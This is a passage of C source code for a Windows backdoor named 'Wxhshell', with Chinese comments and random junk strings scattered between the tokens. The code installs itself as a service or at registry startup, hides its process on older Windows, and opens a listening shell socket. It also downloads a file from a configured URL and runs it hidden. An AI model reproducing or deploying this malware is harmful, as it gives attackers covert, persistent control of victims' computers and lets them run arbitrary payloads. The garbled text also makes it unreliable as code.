if(strstr(procName,"services")) return 1; // 以服务启动 pA_u;* ~?aFc) return 0; // 注册表启动 71AYDO } BRY/[QRqZ +kYp!00 // 主模块 F::Ki4{jJ int StartWxhshell(LPSTR lpCmdLine) rL"]m_FK { 2%R.~9HtA SOCKET wsl; +<p&Va# BOOL val=TRUE; 6AY(/N8V int port=0; L7(FDv,? struct sockaddr_in door; e/+.^ '{ GU/P%c/V if(wscfg.ws_autoins) Install(); q\i&ERr 1I69O6" port=atoi(lpCmdLine); nF]R" VvP: }yJ if(port<=0) port=wscfg.ws_port; A. tGr(r }ixCbuD WSADATA data; z{1A x if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UTu~"uCR OwNM`xSa|\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ySiZ@i4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y(1?uVYW\d door.sin_family = AF_INET; &)tv4L& door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,GVX1B? door.sin_port = htons(port); l%mp49< >S }X)4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hwe6@T.# closesocket(wsl); 7Rtjm return 1; 6g#yzex } hV,T889'
'JdK0w# if(listen(wsl,2) == INVALID_SOCKET) { rWNe&gFM closesocket(wsl); L#a!fd return 1; )O+Zbn } R8lja%+0$ Wxhshell(wsl); ?d?.&nt WSACleanup(); JK!`uG+v ~ PyS;L} return 0; <aaT,J8%[ q+8de_"] } ~Y~M}4 0!%G#~th // 以NT服务方式启动 %?+Lkj& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !a\v)R { zTMLE~w DWORD status = 0; &Lzd*}7 DWORD specificError = 0xfffffff; T'lycc4~a SOsz=bVx serviceStatus.dwServiceType = SERVICE_WIN32; (m!kg serviceStatus.dwCurrentState = SERVICE_START_PENDING; uc"%uc' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ue;Z)} serviceStatus.dwWin32ExitCode = 0; (r?hD*2r serviceStatus.dwServiceSpecificExitCode = 0; @IbZci)1 serviceStatus.dwCheckPoint = 0;
H6nH serviceStatus.dwWaitHint = 0; l{^s4 L{IMZ+IB2| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6l4= if (hServiceStatusHandle==0) return; YGQ/zB^Pj PY '^:0 status = GetLastError(); 8,h!&9 if (status!=NO_ERROR) 29G el { +Z_VF30pa serviceStatus.dwCurrentState = SERVICE_STOPPED; alzdYiGf serviceStatus.dwCheckPoint = 0; tXrKC serviceStatus.dwWaitHint = 0; oKz!Xu%Hl serviceStatus.dwWin32ExitCode = status; ,']CqhL6=R serviceStatus.dwServiceSpecificExitCode = specificError; NA0Z~Ug> SetServiceStatus(hServiceStatusHandle, &serviceStatus); DEkv,e return; havmhS)O } G{X7;j e C]JK'K<7- serviceStatus.dwCurrentState = SERVICE_RUNNING; l SKq serviceStatus.dwCheckPoint = 0; L;?h)8 serviceStatus.dwWaitHint = 0; E+<GsN] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _XY(Qd } cQd?,B3#F *v8daF // 处理NT服务事件,比如:启动、停止 sxuP"4 VOID WINAPI NTServiceHandler(DWORD fdwControl) OUwnVAZZ6 { [+A]E,pv]1 switch(fdwControl) 9vDOSwU* { m0.g}N-w case SERVICE_CONTROL_STOP: }zkFl{/u serviceStatus.dwWin32ExitCode = 0; `mD!z.`U serviceStatus.dwCurrentState = SERVICE_STOPPED; :F[s serviceStatus.dwCheckPoint = 0; '/loJz 1 serviceStatus.dwWaitHint = 0; 862rol { ]i,o+xBKH SetServiceStatus(hServiceStatusHandle, &serviceStatus); @C=gMn.E } &k_LK return; 7KUf,0D case SERVICE_CONTROL_PAUSE: v
\;/P
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3
.j/D^ break; ct,;V/Dx case SERVICE_CONTROL_CONTINUE: ->IZZ5G< serviceStatus.dwCurrentState = SERVICE_RUNNING; B9
?58v& break; O.y ?q case SERVICE_CONTROL_INTERROGATE: NB^Al/V@ break; DS@Yto }; RTg\c[=w SetServiceStatus(hServiceStatusHandle, &serviceStatus); S^D@8<6GJ } <?DI!~ 4=y&}3om(0 // 标准应用程序主函数 iC! 6g|]X int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'ks .TS& { 6q`)%"4k 8n2;47 a // 获取操作系统版本 <f.Eog OsIsNt=GetOsVer(); .dxELSV GetModuleFileName(NULL,ExeFile,MAX_PATH); {gu3KV |}YxxeAk // 从命令行安装 G9jf]Ye; if(strpbrk(lpCmdLine,"iI")) Install(); )'7Qd(4WT ?A .ah // 下载执行文件 %c]N- if(wscfg.ws_downexe) { !L9]nO 'BL if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c}),yQ|!: WinExec(wscfg.ws_filenam,SW_HIDE); yEh{9S%6p } ndN*X' >hG*=4oh if(!OsIsNt) { 87S,6 Y // 如果时win9x,隐藏进程并且设置为注册表启动 x}WP1YyT~ HideProc(); ;[P> StartWxhshell(lpCmdLine); 5f0g7w =- } #M#$2Vt else KMqGWO* if(StartFromService()) bJ6C7-w:wa // 以服务方式启动 Q;q{1M > StartServiceCtrlDispatcher(DispatchTable); T?Z^2.Pvc else \C>vj+!cJ // 普通方式启动 j}tGcFwvSN StartWxhshell(lpCmdLine); ^ )!eiM '+iLW~ return 0; ;0 +Dx~ }
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